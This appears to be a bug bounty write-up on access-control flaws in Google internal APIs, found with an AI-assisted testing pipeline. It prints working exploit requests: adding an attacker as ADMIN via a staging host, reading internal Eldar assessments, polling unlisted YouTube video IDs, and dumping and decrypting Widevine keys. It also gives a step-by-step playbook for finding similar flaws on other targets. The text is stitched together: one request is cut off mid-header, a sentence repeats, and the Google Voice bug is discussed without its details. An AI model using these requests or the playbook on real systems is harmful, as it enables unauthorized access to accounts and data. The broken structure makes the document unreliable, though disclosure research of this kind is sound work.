Even though these endpoints were blocked on production, the staging environment test-adexchangebuyer-googleapis.sandbox.google.com was pointing at production data.
It was seemingly possible to add yourself to any AdExchange account:
Request
POST /v1internal/buyers/6558940734/users HTTP/2
Host: test-adexchangebuyer-googleapis.sandbox.google.com
Cookie: <redacted>
Authorization: <redacted>
Origin: https://ads.google.com
X-Goog-Api-Key: [redacted]
Content-Length: 119
{
"emailAddress": "[redacted]",
"accountId": "6558940734",
"status": "PENDING",
"role": "ADMIN"
}
Response
{
"accountId": "6558940734",
"userId": "36825",
"emailAddress": "[redacted]",
"role": "ADMIN",
"status": "PENDING"
}
The researcher was not whitelisted for the UI at admanager.google.com, so the actual application frontend could not be accessed. Two separate issues were reported for this API, awarded a total of $30,000.
[redacted].google.com
Eldar appears to be an internal Googler-only website for managing internal privacy requests and assessments. The frontend is protected behind ÜberProxy because it sits on *.corp.google.com, but the API itself was exposed publicly on eldar-pa.clients6.google.com, allowing non-Googlers to query anything they wanted.
The nature of the information on Eldar made this especially interesting. For instance, requests for access to internal Google logs were visible:
Request
GET /v1/assessments/19286785/revisions/1 HTTP/2
Host: eldar-pa.clients6.google.com
Cookie: <redacted>
Authorization: <redacted>
X-Goog-Api-Key: [redacted]
Origin: https://www.google.com
Response
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
{
"name": "assessments/19286785/revisions/1",
"lastUpdatedTimestamp": "2024-10-08T08:14:13.915893Z",
"sections": [
{
"name": "assessments/19286785/revisions/1/sections/1000001001",
"title": "Logs Access Request",
"info": "Fill this assessment to request access to \u003ca href=\"http://go/sawmill-team\" target=\"_blank\"\u003eSawmill logs\u003c/a\u003e. Once submitted for review, a \u003ca href=\"http://go/la-federation\" target=\"_blank\"\u003edelegate reviewer\u003c/a\u003e will review your request for compliance with Google's data and privacy policies. See \u003ca href=\"http://go/logs-access\"target=\"_blank\" aria-label=\"Logs Access in Eldar user guide\"\u003ego/logs-access\u003c/a\u003e for documentation.",
"questions": [
...
"responses": [
"Cloud Support wants to run a number of pre-defined query on Cloud Domains Logs: request log and Cloud Domains <-> Squarespace communication log.\u003cdiv\u003e\u003cbr\u003e\u003c/div\u003e\u003cdiv\u003eThis way they can quicker troubleshoot customer issues, especially those related to updating domain settings: DNSSEC, DNS, autorenewal.\u003c/div\u003e"
]
}
},
...
]
The full JSON was quite large, and looked like an internal logs access request within Google. The actual UI could not be accessed, since the assets are all hosted on [redacted].google.com, so a small UI was built for viewing all the JSON returned from the assessment. It is a recreation of what Eldar probably looks like, based on other CSS and HTML that could be found; the data is from a real assessment, with many redactions to protect PII.
It was also possible to create and share your own assessments. The AI had found this bug, which became clear from the many emails received from [redacted].
Google initially fixed it by blocking eldar-pa.clients6.google.com from being publicly accessible, presumably moving it to a *.corp.googleapis.com address behind ÜberProxy, but the API was still reachable via autopush-eldar-pa-googleapis.sandbox.google.com, which was reported to them.
Speaking to some Googlers revealed that Eldar is where product teams define security boundaries for applications, in terms of what is intentional and what is not. The bug was awarded a total of $26,674 under: Normal Google Applications. Vulnerability category is "bypass of significant security controls", PII or other confidential information. x2
Leaking YouTube unlisted videos
An earlier blog post about a bug disclosing YouTube creator email addresses covered how YouTube Partners have a hidden CONTENT_OWNER_TYPE_IVP (aka "torso") Content Manager account tied to them. Whenever creators uploaded videos to their channel, assets were created for those videos. According to the Content ID API docs, an asset resource represents a piece of intellectual property, such as a sound recording or television episode:
{
"kind": "youtubePartner#assetSnippet",
"id": "A211451325656589",
"type": "web",
"title": "Really cool song",
"timeCreated": "2025-10-30T01:40:01.000Z"
}
For whatever reason, assets were created not only for unlisted videos that were uploaded, but the names of the WEB assets leaked the video IDs of the uploaded videos, in the format Auto generated asset - <video_id>. Searching Content ID assets for "Auto generated asset - " therefore leaks YouTube creator unlisted video IDs, which can be turned into https://www.youtube.com/watch?v=<video_id> URLs to watch the unlisted video.
This can be done directly in Google's API Explorer by visiting the assetSearch page with these parameters and clicking "Execute". It leaks all video IDs of videos uploaded from channels in the YouTube Partner Program between 2025-10-29T08:39:00Z and 2025-10-29T10:39:00Z, including unlisted and private video IDs.
{
"kind": "youtubePartner#assetSnippetList",
"nextPageToken": "...",
"pageInfo": {
"totalResults": 2000
},
"items": [
{
"kind": "youtubePartner#assetSnippet",
"id": "A211451325656589",
"type": "web",
"title": "Auto generated asset - <REDACTED>",
"timeCreated": "2025-10-29T08:40:01.000Z"
},
{
"kind": "youtubePartner#assetSnippet",
"id": "A997928538227273",
"type": "web",
"title": "Auto generated asset - <REDACTED>",
"timeCreated": "2025-10-29T08:40:01.000Z"
},
{
"kind": "youtubePartner#assetSnippet",
"id": "A475726124117220",
"type": "web",
"title": "Auto generated asset - <REDACTED>",
"timeCreated": "2025-10-29T08:40:01.000Z"
},
...
]
}
The attack is extremely practical. Anyone could send a request every 30 seconds or so to get a live feed of every partner-uploaded unlisted video. Prediction markets such as Polymarket let people bet on the outcome of future events, including when Google's next Gemini model will be released. Companies often upload product announcement videos as unlisted first for internal testing before the public release, so someone abusing this could watch for pre-announcement uploads and place bets with insider knowledge.
This was awarded $12,000 under This report was of exceptional quality! Domains where a vulnerability could disclose particularly sensitive user data. Vulnerability category is "bypass of significant security controls", other data/systems.
Widevine account takeover
Widevine is a Digital Rights Management (DRM) technology developed by Widevine Technologies and acquired by Google in 2010. It is one of the most widely deployed DRM systems in the world, used by companies such as Disney and Netflix to protect premium video content from being copied or pirated.
Google gives partners access to a management portal at https://partnerdash.google.com/apps/widevineintegrationconsole to manage their Widevine keys. Partner Dash apps are usually completely blocked off publicly, but this one was publicly accessible with a Google account, although you could not actually manage any other profile.
The AI disagreed. The frontend did not look like much, but the API told another story. Sending this request:
Request
GET /v1/orgs?orgIdentifier.actor.actorType=DRM_SERVICE&orgIdentifier.orgType=CONTENT_OWNER HTTP/2
Host: alkaliwidevineintegrationconsole-pa.clients6.google.com
Cookie: <redacted>
Authorization: <redacted>
Origin: https://business.google.com
X-Goog-Api-Key: [redacted]
Response
{
"lowercaseOrganizationName": [
"000ztemptest000",
"000ztemptest001",
"000ztemptest002",
"00ztest00",
"20sec",
"20secifb",
"20seckbb",
"3dweb",
"a3sa",
"aavmobile",
"abox42",
"accenture",
"accenturedt",
"accentureinfinity",
"accenturekarate",
...
]
}
It dumped all the organizations that had an account on the Widevine portal. All their Widevine keys could be viewed too:
Request
GET /v1/orgs/000ztemptest000?orgIdentifier.actor.actorType=DRM_SERVICE&orgIdentifier.orgType=CONTENT_PROVIDER HTTP/2
Host: alkaliwidevineintegrationconsole-pa.clients6.google.com
Cookie: <redacted>
Authorization: <redacted>
Origin: https://appdistribution.firebase.google.com
X-Goog-Api-Key: [redacted]
This was a test user I identified from the previous request.
Response
{
"name": "000zTempTest000",
"widevineOrganizationId": "123",
"flags": "2048066",
"pgpEncryptionKey": "-----BEGIN PGP PUBLIC KEY BLOCK-----\n\[redacted]+O1jNyAGE\no0RklD6uV5l/+dfbXf3kZaZkptTcyZP...",
"enableExpiringSigningKeys": true,
"encryptedExpiringSigningKeys": [
{
"aesIv": "ALSnBDw2PHpdRxNQ0aefDaHXdma5jx/EI7MT4JAUhjth+Q983gzJowHJ2JD+[redacted]==",
"aesKey": "ALSnBDwuni4Q+KQOSOL1U4zs/6809AKnyTJD/[redacted]=",
"startDateEpochTimeSeconds": "1578177687",
"endDateEpochTimeSeconds": "1578004888"
},
...
The API even provided a request for decoding the AES key:
POST /v1/orgs/000zTempTest000/decodeAesKey HTTP/2
Host: alkaliwidevineintegrationconsole-pa.clients6.google.com
Cookie: <redacted>
Authorization: <redacted>
Origin: https://appdistribution.firebase.google.com
X-Goog-Api-Key: [redacted]
Content-Type: application/json
Content-Length: 250
{
"iv": "ALSnBDw2PHpdRxNQ0aefDaHXdma5jx/EI7MT4JAUhjth+Q983gzJowHJ2JD+[redacted]==",
"key": "ALSnBDwuni4Q+KQOSOL1U4zs/6809AKnyTJD/[redacted]="
}
Response:
{
"hexAesKey": "[redacted]",
"hexAesIv": "[redacted]"
}
It did not end there. The users of any Widevine organization could be listed:
POST /v1/userInfo/listUserInfo HTTP/2
Host: alkaliwidevineintegrationconsole-pa.clients6.google.com
Cookie: <redacted>
Authorization: <redacted>
Origin: https://business.google.com
X-Goog-Api-Key: [redacted]
Content-Type: application/json
Content-Length: 77
{
"orgInfo": {
"orgType": "DEVICE",
"organization":"google"
}
}
I chose the organization
Response:
{
"users": [
...
{
"email": "██████@google.com",
"deviceManufacturerGroup": [
"google"
],
"gaiaId": "651804021137"
},
...
]
}
Or you could just add yourself to any organization you want:
Request
POST /v1/userInfo/addUser HTTP/2
Host: alkaliwidevineintegrationconsole-pa.clients6.google.com
Cookie: <redacted>
Authorization: <redacted>
Origin: https://business.google.com
X-Goog-Api-K
## Root cause
The bugs share a small set of design mistakes, and each one is visible in the requests above.
**Missing access control on internal APIs.** The Google Voice endpoints on `gfibervoice-pa.googleapis.com` had no access control checks at all: `BssGetVoiceSettings` returned a victim's settings to an unauthenticated `curl`, and `AssignNumber` accepted an arbitrary `accountId` because it was not validated. The Widevine console API behaved the same way: `GET /v1/orgs` listed every organisation, `GET /v1/orgs/{name}` returned PGP keys and encrypted signing keys, `decodeAesKey` decrypted them, `listUserInfo` listed members and `addUser` added one.
**Staging environments pointing at production data.** On production, the AdExchange account endpoints returned `PERMISSION_DENIED`. On `test-adexchangebuyer-googleapis.sandbox.google.com` the same endpoints returned production buyer records, production user lists, and accepted a `POST` that added the attacker as `ADMIN` of a production account. The staging hostname was pointing at production data. The same pattern appeared after the Eldar fix: blocking `eldar-pa.clients6.google.com` left the API reachable through `autopush-eldar-pa-googleapis.sandbox.google.com`.
**Visibility labels treated as security.** The `cookieMatchingAccounts` endpoint on AdExchange sat behind a label that only `google.com:ad-exchange-buyer-fe` could see. The `cookieMatchingAccounts` endpoint on AdExchange sat behind a visibility label that only `google.com:ad-exchange-buyer-fe` had access to. Once a key from a project holding the label was available, the endpoint answered.
**Internal-only APIs exposed on public hostnames.** Eldar's frontend is protected by ÜberProxy because it lives on `*.corp.google.com`, but its API was served from `eldar-pa.clients6.google.com`, a public hostname with no such protection. The Widevine console is a Partner Dash app that is normally blocked publicly, yet this one was publicly accessible with a Google account. The `contentmanager.clients6.google.com` API accepted only `*.corp.google.com` origins, which is a strong hint that it was internal.
**Why the layered pipeline did not stop these.** The lifecycle map shows what the front of the stack checks: method resolution, content type, API key validity, key restrictions, credential validity, FPA origin whitelisting, key and bearer project matching, visibility labels, and per-project method blocks. Every one of those is a gate on *reaching* the application server. None of them asks whether the caller is allowed to read or modify the specific resource the method touches. Once a request passed step [N] and reached the application, the only thing left was the application's own authorisation logic, and in these cases it was absent or trusted the caller's identifiers. The FPA token is a good example of the same confusion: the backend ignores identifier keys it does not recognise, so a valid header can be minted with arbitrary strings.
## Impact
Each bug gave a different level of access, and the conditions under which it worked differ enough to be worth separating.
**Google Voice.** An unauthenticated attacker who knew a victim's unobfuscated Gaia ID could read that victim's Voice settings, including their Google Voice number, notification address, forwarding numbers and, under certain conditions, their Google Account recovery phone number. The report notes that the recovery phone number was not shown for every Google account; there seemed to be specific conditions, and Google declined to provide them. The attacker could also assign a new Voice number to any target account, even one that had never used Voice, and the number appeared on the victim's account phones page. Transferring an existing Voice number to the attacker's account was possible but more involved: it required assigning two new numbers to the victim with the target number, waiting for the original number to expire, and then assigning it to the attack account. Several other endpoints, including `InitiateNumberPort`, could not be tested because the researcher had no Google Fiber account, so whether they allowed SIM swap attacks is unknown. The bug was rated P0/S0 and paid $20,000.
**AdExchange.** The `cookieMatchingAccounts` endpoint disclosed a list of AdExchange accounts to a key whose project held the visibility label. The staging host `test-adexchangebuyer-googleapis.sandbox.google.com` returned production buyer records and production user lists, including email addresses and roles, and accepted a `POST` that added the attacker's account as `ADMIN` of a production buyer account. The practical limit was that the researcher was not whitelisted for the `admanager.google.com` UI, so the frontend itself could not be used. Two issues were reported for this API, paid $30,000 in total.
**Eldar.** Anyone could read internal privacy assessments, including logs access requests and their contents, and could create and share their own assessments. The frontend assets were only on `[redacted].google.com`, so the researcher built a viewer for the JSON rather than using the real UI. The bug was paid $26,674, counted twice under the "bypass of significant security controls" category.
**YouTube unlisted videos.** Searching Content ID assets for `Auto generated asset - ` returned the video IDs of videos uploaded by channels in the YouTube Partner Program in the queried time window. The report's example window returned `totalResults: 2000`, and the response is described as including unlisted and private video IDs. Because the search can be repeated, anyone could poll every 30 seconds or so for a live feed of newly uploaded unlisted videos. The impact is early knowledge of pre-announcement uploads, which the report ties to prediction markets such as Polymarket. It was paid $12,000.
**Widevine.** The console API listed every organisation with a Widevine portal account, returned an organisation's PGP public key and encrypted expiring signing keys, decrypted an AES key and IV on request, listed the users of any organisation, and accepted an `addUser` call to add the attacker to an organisation. The researcher deliberately chose the `google` organisation for the user listing to avoid targeting third-party customers.
## Fix
The report describes the fixes at different levels of detail, and for several bugs it says nothing about what changed.
**Google Voice.** The `gfibervoice-pa.googleapis.com` bug was marked P0/S0 and patched within a few hours of being reported. The report does not describe the code change. What it does record is the aftermath: shortly after the patch, `GET /v1/CheckNumberPortStatus` on the same host began returning an Envoy-style 404 with `Content-Type: text/plain; charset=utf-8` and the body `Not found: '/v1/CheckNumberPortStatus'`, a response the researcher had not seen before on a `*.googleapis.com`. That led Michael to notice `https://gfibervoice-pa.googleapis.com` redirecting to `/statusz`, and ffuf with the suffix "z" then uncovered the zhandler paths (`appsframeworkz`, `bouncerz`, `bpfz`, `btz`, `bugz`, `cacheserverz`, `cdpushz`, `censusz`, `choicez`, `codez`, and others). Most returned 403; `/btz` returned 200. The report does not say whether the zhandlers were closed afterwards.
**AdExchange.** The production endpoints already returned `PERMISSION_DENIED`; the problem was the staging host `test-adexchangebuyer-googleapis.sandbox.google.com`, which served production data and accepted writes.
**Eldar.** Google's first fix was to block `eldar-pa.clients6.google.com` from being publicly accessible. The researcher assumes they moved it to a `*.corp.googleapis.com` address behind ÜberProxy; the report presents that as an assumption, not a confirmed detail. The block was incomplete: the API remained reachable via `autopush-eldar-pa-googleapis.sandbox.google.com`, and the researcher informed Google of that path.
It only states that the bugs it covers are fixed.
The one design-level lesson the report draws out, rather than a specific patch, is the Eldar pattern: blocking a single public hostname is not a fix when the same API is also reachable through a sandbox hostname. The same reasoning applies to the AdExchange staging host, which was the actual exposure while production was correctly locked down.
## Variants to test
The bugs above are instances of a handful of patterns, and each pattern transfers to other targets. What follows is what to try, and what a positive result looks like.
### Staging hostnames against production data
Take any endpoint that returns `PERMISSION_DENIED` or `403` on the production hostname and replay the identical request against the sandbox or staging variant of the same service. The AdExchange case is the template: `adexchangebuyer.clients6.google.com` refused the account endpoints, while `test-adexchangebuyer-googleapis.sandbox.google.com` answered them with production buyer records and accepted a write.
1. Collect the production hostname from a working request, then generate candidates by inserting `test-`, `autopush-`, `preprod-` prefixes and replacing the `googleapis.com` suffix with `sandbox.googleapis.com` or `sandbox.google.com`.
2. Send the same method, path, key and FPA headers to each candidate.
3. A positive result is a `200` where production gave `403`, or a response body containing identifiers that also exist in production data. Confirm the data is real by cross-referencing an ID you already obtained from the production host, as the report did with the test account ID leaked earlier from production.
4. Then try a write: a `POST` that adds your account to a resource you do not own, returning your identifier in the response.
The lifecycle map is useful here: the report notes that roughly 50% of requests to staging environments have steps [4] and [5] swapped, so a staging host may reject on key restrictions before it ever checks key validity, which changes which errors you see and which keys appear to work.
### Visibility-label-only endpoints
An endpoint that returns `404` with `Content-Type: application/json` and `"Method not found."` is not missing. Per the report, that response means the GCP project tied to your key lacks a required visibility label, and a method that genuinely does not exist returns HTML instead.
1. Treat every JSON `404 Method not found.` as a live method you cannot yet reach.
2. Rotate through every key you hold against the same method; the report's multi-key probing exists precisely because one key's response differs from another's on labelled endpoints.
3. A positive result is a `200` from a key whose project holds the label, as with `cookieMatchingAccounts` behind `google.com:ad-exchange-buyer-fe`.
4. Also fetch discovery documents with `?labels=GOOGLE_INTERNAL` and other known labels, one label per request, and diff the byte size and method list against the unlabelled document. The Service Management API grew from 253k to 329k bytes, and the extra methods are the ones worth probing.
### `*.corp.google.com` origin APIs
An API that accepts only `*.corp.google.com` origins is, in the report's words, likely an internal API that was never meant to be publicly exposed and probably has bugs. The `contentmanager.clients6.google.com` API accepted only `coco`, `connect`, `redbull` and `redwood` (plus staging and dev variants) and had an access control bug worth $9,000.
1. When a request fails with `401 SESSION_COOKIE_INVALID` and `metadata.cookie: "UNKNOWN"`, do not assume the cookie is bad. Try origin values from the `*.corp.google.com` space, including `-staging` and dev variants of any name you find.
2. A positive result is a `200` from an origin you do not control, on a method that manages content or workflows for a public property.
3. The `gaia_mint.AllowedFirstPartyAuth` proto tells you what to look for: `legacy_allow_all_origins` means any origin works, and `allow_subdomains` means a wildcard is in play.
### Internal tools with public `clients6` APIs
Eldar's frontend sat behind ÜberProxy on `*.corp.google.com`, but its API answered on `eldar-pa.clients6.google.com`. The Widevine console was a Partner Dash app that was normally blocked, yet its API on `alkaliwidevineintegrationconsole-pa.clients6.google.com` answered any Google account.
1. For any internal-looking tool, find the `*-pa.clients6.google.com` hostname its frontend calls, then call it directly with your own session and a key.
2. A positive result is a `200` with internal data (assessment text, organisation lists, user lists) that the frontend would never show you.
3. After a hostname is blocked, retry the same method through the sandbox variant, as `autopush-eldar-pa-googleapis.sandbox.google.com` still served Eldar after the public host was closed.
### Asset naming leaks
The YouTube case is a naming convention that embeds an identifier in a human-readable field. The asset title `Auto generated asset - <video_id>` leaked unlisted and private video IDs to anyone who could search assets.
1. Search any asset, document or object index for auto-generated titles and look for identifiers embedded in them.
2. A positive result is a search that returns objects you do not own, whose titles or descriptions contain IDs that resolve to resources (a watch URL, a document, a file) you were not given.
3. Check whether the search can be filtered by creation time, as `createdAfter` and `createdBefore` allowed here, because that turns a one-off leak into a live feed you can poll every 30 seconds.
### Unauthenticated admin endpoints
The Voice bug needed no authentication at all: a bare `curl` with an API key returned a victim's settings, and `AssignNumber` accepted an arbitrary `accountId`.
1. For any `*-pa.googleapis.com` host, try the obvious admin-style methods (`Get*Settings`, `Assign*`, `List*`) with only an API key and a guessed identifier.
2. A positive result is a `200` with another user's data, or a `500 Internal error encountered.` after a write that nonetheless took effect. The Voice `AssignNumber` call returned a 500 and still added the number, so always re-read the resource after a failed write.
3. Vary the identifier: the report notes `accountId` was not validated and could be anything, so try values that do not belong to the resource you are targeting.
## Hunting notes
The bugs in this report were not found by reading a single application. They were found by building a map of Google's API surface and then letting a machine walk it. The hunting notes below follow that order: where the surface is, what tells you a host is worth probing, and how to turn a probe into a report a program will pay for.
### Where this kind of bug hides
- **Internal admin APIs on public hostnames.** The Voice, Widevine and Eldar APIs all served admin functionality from `*-pa.clients6.google.com` or `*-pa.googleapis.com` hosts that anyone could reach. The frontend was protected; the API was not.
- **Staging and sandbox hostnames.** `test-adexchangebuyer-googleapis.sandbox.google.com` and `autopush-eldar-pa-googleapis.sandbox.google.com` both served data or methods that the production host refused. The report's lifecycle map notes that roughly 50% of requests to staging environments have the key-validity and key-restriction steps swapped, so staging hosts also fail differently and are easy to tell apart.
- **Methods behind visibility labels.** `cookieMatchingAccounts` was invisible without the `google.com:ad-exchange-buyer-fe` label. The hidden methods revealed by `?labels=GOOGLE_INTERNAL` are the same category: documented only to projects that hold the label.
- **APIs that only accept `*.corp.google.com` origins.** The `contentmanager.clients6.google.com` API accepted only `coco`, `connect`, `redbull` and `redwood` (plus staging and dev variants) and had a $9,000 access control bug. The report's rule of thumb is that such an API is likely internal and probably has bugs.
- **Auto-generated names that embed identifiers.** The Content ID asset title `Auto generated asset - <video_id>` leaked unlisted and private video IDs to anyone who could search assets.
### Recon signals
**The `Server` header.** A bare `GET /` to a candidate host is enough to tell whether it is a live Google API. If the response carries `Server: ESF`, `Server: GSE` or `Server: scaffolding on HTTPServer2`, the host is alive and worth adding to the scan list. The report used certificate transparency logs, domains logged by a browser extension and brute-forced keyword names to generate candidates.
**Discovery documents.** These are the inventory. Fetch `/$discovery/rest` where it still works, and fetch it again with `?labels=GOOGLE_INTERNAL` and every other label you know, one label per request. Compare the byte size and the method list: the Service Management API went from 253k to 329k bytes. Every extra method is a target.
**Error messages as a map.** The lifecycle map is the single most useful recon artefact in the report. Each stage returns a distinct response, so you can tell where a request died:
| Response | What it means |
|---|---|
| `404` with `Content-Type: text/html` | The method does not exist |
| `400` `JSPB is not configured for service ...` | Wrong content type for the service |
| `400` `API_KEY_INVALID`, `403` `API key not valid.` | Key problem |
| `403` `Requests from this Android/iOS client application <empty> are blocked.` | Key restriction, missing the right header |
| `403` `Requests from referer ... are blocked.` | Browser restriction, wrong `Referer` |
| `401` `SESSION_COOKIE_INVALID` with `metadata.cookie: "UNKNOWN"` | Origin not whitelisted, not a bad cookie |
| `400` `The API Key and the authentication credential are from different projects.` | Key and bearer from different projects |
| `404` JSON `Method not found.` | Missing visibility label, the method exists |
| `403` `Requests to this API ... method ... are blocked.` | Method blocked for the caller's project |
The two that matter most for hunting are the JSON `404 Method not found.` and the `401 SESSION_COOKIE_INVALID`. Both look like dead ends and are not: the first means you need a key from a project with the right label, the second means you need a different `Origin`.
**Origin whitelists.** When a request fails with `SESSION_COOKIE_INVALID`, try origins from the `*.corp.google.com` space, including `-staging` and dev variants of any name you find. The `gaia_mint.AllowedFirstPartyAuth` proto tells you what the backend supports: `legacy_allow_all_origins` means any origin works, and `allow_subdomains` means a wildcard is in play.
**Key restrictions.** Store the `Referer`, `X-Ios-Bundle-Identifier`, `X-Android-Package` and `X-Android-Cert` values you find alongside each key, because a key that fails on one API may work on another once the right restriction header is attached. `Referer` and `Origin` cannot be mismatched, so an endpoint with an origin whitelist needs a matching pair.
**Key provenance.** The Cloud Marketplace `infoSharing` endpoint turns a project number into the domain tied to the project, which lets you discard third-party keys and keep only `google.com` and acquisition domains. The project number itself comes from the error returned when a key is used against an API it does not have enabled.
### Demonstrating impact
The report is explicit about what made the AI's output usable, and the same discipline applies to a human report.
1. **Attach the request that proves it.** Every finding was reported with operation IDs from `probe_api` responses, which the frontend replaced with the actual request and response. A report that shows the exact request, the exact response and the data returned is hard to dispute. The system prompt required this: "When reporting a vulnerability, you MUST include the operation_ids that demonstrate the vulnerability."
2. **Show private data, not a status code.** The prompt's reporting rules are a good checklist: report access to other users' data and a 2xx response with private data where a 4xx was expected; do not report 500s, 401/403/404s, 400 invalid-parameter errors, or a 200 without actual private data disclosure or provable impact.
3. **Do not report existence enumeration on its own.** Being able to tell whether an ID exists is a testing technique, not a vulnerability, unless it leaks sensitive information such as emails, names or private data.
4. **Re-read after a failed write.** The Voice `AssignNumber` call returned `500 Internal error encountered.` and still added the number to the victim's account. A write that errors is not a write that failed.
5. **Escalate from the basic bug.** The goal was to automate finding basic access control issues and then escalate them manually. The Voice bug started as an unauthenticated read and became an account takeover once `AssignNumber` was found; the AdExchange bug started as a labelled list and became a write once the staging host was tried.
6. **Stay off third-party data where you can.** When listing Widevine users, the researcher chose the `google` organisation specifically to avoid targeting third-party customers. That choice is worth making deliberately and saying so in the report.
The awards in this report track the impact shown, not the number of endpoints touched: $20,000 for an unauthenticated PII dump and number assignment rated P0/S0, $30,000 across two AdExchange issues, $26,674 for Eldar counted twice under "bypass of significant security controls", and $12,000 for the YouTube unlisted video leak, which the program marked as "of exceptional quality".
What happened, in plain words
This is the story of a security researcher who pointed an artificial intelligence at Google's own internal plumbing, and the AI found $500,000 in bugs in less than three months. The write-up is unusual because the interesting part is not one clever trick. It is a pipeline: a set of tools and habits that let a machine test thousands of things a human could never test by hand, and a human review the results quickly enough to report them.
Before any of that makes sense, three ideas need explaining from scratch: what an API is, what a bug bounty is, and why the internal APIs of a company like Google are such an attractive target.
What an API is
Think of a restaurant. You do not walk into the kitchen and cook. You read a menu, choose a dish, and a waiter carries your order to the kitchen and brings back a plate. An API (Application Programming Interface) is the menu and the waiter for software. One program asks another program to do something specific, in a specific format, and gets an answer back.
When you open the YouTube app on your phone, the app is not storing every video in the world on your phone. It sends a request over the internet to a YouTube server: "give me the details of this video", "give me the next page of search results", "post this comment". Each of those requests is an API call. The server checks the request, does the work, and sends back data, usually in a text format called JSON, which looks like a set of labelled boxes holding values.
An API is made of endpoints. An endpoint is one specific thing you can ask for, at one specific address. "Get a user's settings" might be one endpoint. "Change a user's settings" might be another. A large company like Google has thousands of APIs and tens of thousands of endpoints, because every product (Search, Gmail, Drive, YouTube, Maps, Ads, and many internal tools the public never sees) is built out of them.
What a bug bounty is
Companies that run large systems know their code will contain mistakes. A bug bounty (Google calls theirs the VRP, the Vulnerability Reward Program) is a formal deal: if you are a security researcher and you find a real security flaw, report it privately to the company, and if it is genuine, the company pays you money and fixes it. The amount depends on how serious the flaw is. A small information leak might pay a few hundred dollars. A flaw that lets an outsider take over someone's account can pay tens of thousands.
The rules matter. You must not use the flaw to harm real users, you must not poke at systems outside the agreed scope, and you must report privately rather than publish. In exchange, you get paid and you get permission to do the testing, which would otherwise be a crime.
Why internal APIs are interesting
Here is the part that makes this story work. Google's public APIs are documented, tested and watched. Its internal APIs, the ones its own staff and internal tools use, are a different matter. That assumption is a security control in the same way that "nobody knows the back door exists" is a lock.
They sit on hostnames that anyone can resolve. They accept requests from anyone who has the right pieces: an API key (a long string that identifies which Google project is calling), sometimes a login session, and sometimes a specific header that says "this request came from a Google web page". If you can assemble those pieces, an internal API that was never meant to be public will answer you, and it may not check whether you are allowed to see the data you asked for.
That last sentence is the heart of the whole report. Most of the bugs found were not exotic memory corruption or clever cryptography breaks. They were access control failures: the API answered a question it should have refused, because nobody had written the check that says "this caller is not allowed to see this person's data".
What the researcher actually built
The pipeline had several stages, and the report walks through them in order:
- Collect API keys. Keys are embedded in Google's own apps. The researcher and a collaborator scraped over 60,000 Android app packages, intercepted web traffic with a browser extension, and unpacked iOS apps, harvesting keys wherever they appeared. One key often unlocks many APIs, so more keys means more reach.
- Find live API servers. Not every hostname that looks like Google's is a working API. A quick probe tells you which ones answer.
- Download the "menus". Google publishes machine-readable descriptions of its APIs, called discovery documents. These list every endpoint, every parameter and the shape of every response. They are exactly what an automated tester needs.
- Learn to log in the way Google's own web pages do. Many endpoints need more than a key; they need proof of which Google account is calling. The researcher reverse-engineered Google's internal login-header scheme, called First Party Authentication, from sourcemaps that Google had accidentally leaked.
- Build a custom testing console. Google's own public API testing tool only works on public APIs, so the researcher wrote a replacement in about a week that could load any discovery document and send properly authenticated requests.
- Hand it to an AI. The AI was given tools to send requests and file reports, plus a carefully written set of instructions about what counts as a bug. It tested endpoints in groups, recorded every request it made, and attached those records to its reports so a human could verify each claim with one click.
The AI was not magic. Early on it produced mostly noise, and the researcher spent over a month refining the instructions until it found bugs with over 50% accuracy. But once that worked, the bottleneck became the number of API keys available, not the number of bugs.
What it found
The report details five of the bugs, all since fixed:
- Google Voice: an API with no access control at all. A single unauthenticated command could dump a victim's phone settings, including their account recovery phone number, and another command could attach a new phone number to any account. Rated the most severe category and paid $20,000.
- AdExchange: Google's advertising platform. A staging (test) server was serving real production data and accepting changes, letting the researcher add themselves as an administrator of advertising accounts in the records. Paid $30,000 across two reports.
- Eldar: an internal Google tool for privacy assessments. Its web interface was locked behind Google's internal login, but its API was open to the public internet, exposing internal documents. Paid $26,674, counted twice.
- YouTube unlisted videos: a naming quirk in YouTube's content system leaked the IDs of videos that creators had uploaded but not published, including private ones. Paid $12,000.
- Widevine: Google's video copy-protection system, used by streaming services. Its partner management console exposed organisation lists, encryption keys and user lists, and offered a way to add yourself to an organisation. The report does not state the award for this one.
How to read the rest of this article
The sections that follow rebuild the pipeline in the order the researcher built it, then walk through each bug, then explain why the bugs existed, what an attacker could have done with them, how they were fixed, and how you could look for similar patterns on other targets. A glossary at the end defines every technical term used.
You do not need to be a programmer to follow it. You do need to be comfortable with the idea that a web page is just text sent over the internet, and that anything your browser can send, a person with a terminal can send too.
Background: what an API and a discovery document are
The menu, again, but written down
In the previous section an API was compared to a restaurant menu: a list of things you can ask for, each with a name and a set of options. That comparison holds, but it leaves out something important for this story. A paper menu is written for a human to read. A discovery document is the same menu written for a machine to read.
Google's APIs are described by these machine-readable specifications. They are Google's equivalent of Swagger, which is the general industry name for the same idea: a file that describes an API in a structured format so that software can understand it without a human explaining it. A discovery document lists every method an API exposes, the parameters each method accepts, the HTTP method and path used to call it, and the shape of the request and response bodies.
Public APIs such as the YouTube Data API have their discovery documents documented openly. The same mechanism also describes Google's internal APIs, such as the Internal People API. Some discovery documents can be fetched without credentials, while most require a valid API key.
Why does this matter so much? Because a discovery document is a complete, structured inventory of an API's attack surface. It names the methods, the identifiers they take and the fields they return, which is exactly the input an automated fuzzer needs. A tool can parse the document, build valid requests and probe every method without a human reading documentation by hand. If you had to read a thousand pages of API docs and type requests by hand, you would test a handful of endpoints a day. If a program can read the same information, it can test thousands.
Reading a discovery document
Here is a fragment of the YouTube Data API discovery document, copied exactly from the report:
...
"liveChatModerators": {
"methods": {
"insert": {
"flatPath": "youtube/v3/liveChat/moderators",
"description": "Inserts a new resource into this collection.",
"httpMethod": "POST",
"parameters": {
"part": {
"description": "The *part* parameter serves two purposes in this operation. It identifies the properties that the write operation will set as well as the properties that the API response returns. Set the parameter value to snippet.",
"repeated": true,
"required": true,
"location": "query",
"type": "string"
}
...
Line by line, in plain words:
